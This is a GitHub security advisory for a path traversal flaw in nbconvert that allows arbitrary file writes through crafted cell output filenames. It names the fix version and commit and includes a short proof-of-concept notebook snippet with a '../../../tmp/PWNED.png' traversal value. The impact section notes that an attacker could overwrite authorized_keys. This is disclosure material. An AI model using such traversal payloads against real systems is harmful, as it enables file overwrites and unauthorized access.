GitHub Advisoryadvisory · PyPI
GHSA-pjvx-prjx-h659 nbconvert: Arbitrary file write through path traversal in cell output filenames when exporting to md, latex, rst and asciidoc
HIGH
Official page ↗
- Aliases
- CVE-2026-114140
- Ecosystem
- PyPI
- Packages
- nbconvert
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
- Weaknesses
- CWE-22
- Reviewed
- 2026-10-22
Affected packages
• PyPI nbconvert: >= 5.4.0, < 7.17.2 → fixed in 7.17.2
Description
Summary
nbconvert <= v7.17.1 has an arbitrary file write vulnerability due to a path traversal in ipynb cell output metadata, more specifically on the filename attribute.
Vulnerable converters : `--to markdown`, `--to latex`, `--to rst`, `--to asciidoc`.
In `ExtractOutputPreprocessor`, `extractoutput.py:116-119` joins attacker-controlled `path` to `output_files_dir` with no canonicalization check, enabling arbitrary file write.
This is a sibling vulnerability of https://github.com/advisories/GHSA-4c99-qj7h-p3vg.
Impact
If a victim runs nbconvert on a malicious ipynb file, it can create some files with arbitrary data in arbitrary locations, i.e. override authorized_keys.
Note that running the cell with jupyter overrides the output, so it would "clean up" malicious cells.
PoC
In a ipynb file:
```json
"cells": [{
"cell_type": "code", "id": "abc123", "execution_count": 1,
"metadata": {}, "source": "# PoC",
"outputs": [{
"output_type": "display_data",
"metadata": {
"filename": "../../../tmp/PWNED.png" # ← traverses outside output_dir
},
"data": {
# minimal valid PNG (1×1 pixel)
"image/png": "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="
}
}]
}]
```
Patches
Fixed in
• https://github.com/jupyter/nbconvert/commit/ce4bd99aec31d81d759fa8eeb8643179392ec66f
• 7.17.2
Related
Alias · CVE (1)
- CVE-2026-114140 The nbconvert tool, jupyter nbconvert, converts Jupyter notebooks to various other formats via Jinja templates. vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness
References
- https://github.com/jupyter/nbconvert/security/advisories/GHSA-pjvx-prjx-h659 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-114140 advisory
- https://github.com/jupyter/nbconvert/commit/ce4bd99aec31d81d759fa8eeb8643179392ec66f web
- https://github.com/jupyter/nbconvert package
- https://github.com/jupyter/nbconvert/releases/tag/v7.17.2 web